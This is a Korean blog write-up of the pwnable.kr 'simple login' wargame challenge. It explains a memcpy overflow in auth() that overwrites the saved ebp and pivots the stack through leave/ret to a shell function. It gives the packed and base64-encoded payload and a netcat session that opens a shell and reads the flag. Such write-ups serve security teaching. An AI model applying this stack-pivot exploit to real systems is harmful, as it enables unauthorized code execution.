본문 바로가기
Wargame/pwnable.kr

[Rookiss] simple login

by bbolmin 2014. 7. 27.



30개의 문자열을 입력 받아 base64 디코딩 후 md5한 결과가 일치하면 인증이된다. 그런데 디코딩된 결과값을 md5 해쉬 값으로 사용하는 것도 아니라서 ;;; 그냥 취약점을 찾아서 풀어준다 ;



취약점은 아래의 auth함수에서 발생한다. copyBuf에서 base64디코딩 결과 12byte를 덮을 수 있다. ret은 조작 불가능 하지만 ebp까지는 덮을 수 있다.


BOOL __cdecl auth(int length) { char v2; // [sp+14h] [bp-14h]@1 char *s2; // [sp+1Ch] [bp-Ch]@1 int copyBuf; // [sp+20h] [bp-8h]@1 memcpy(&copyBuf, &input, length); s2 = (char *)calc_md5((int)&v2, 12); printf("hash : %s\n", s2); return strcmp("f87cd601aa7fedca99018a8be88eda34", s2) == 0; }



그러면 ebp를 조작해서 leave, ret 명령어가 수행될 때 eip를 조작해서 쉘을 띄울 수 있다.



input 버퍼를 아래와 같이 채워서 보낸다.

-----------------------------

0x0811EB40 <- input(.bss)        // 1. 첫 번째 ebp 값

-----------------------------

0x08049278 <- go shell             // 3. ret 명령어 수행시 esp가 가리키는 지점.

-----------------------------

0xdummy                                // 2. 두 번째 ebp 값

----------------------------- <- esp가 될 지점




[ 공격 !! ]


>>> r += struct.pack('<I', 0xaaaaaaaa)

>>> r += struct.pack('<I', 0x08049278)

>>> r += struct.pack('<I', 0x0811EB40)

>>> r

'\xaa\xaa\xaa\xaax\x92\x04\x08@\xeb\x11\x08'

>>> base64.b64encode(r)

'qqqqqniSBAhA6xEI'




C:\Users\Administrator>nc pwnable.kr 9003

Authenticate : qqqqqniSBAhA6xEI

hash : ff65b947126a889c87c50253208072a7

Congratulation! you are good!


ls

flag

login

super.pl

cat flag

control EBP, control ESP, control EIP, control the world~




'Wargame > pwnable.kr' 카테고리의 다른 글

[Rookiss] tiny_easy  (0) 2014.07.28
[Hacker's Secret] unexploitable  (0) 2014.07.27
[Rookiss] brain fuck  (0) 2014.07.26
[Rookiss] ascii_easy  (0) 2014.07.21
[Rookiss] dragon  (0) 2014.07.20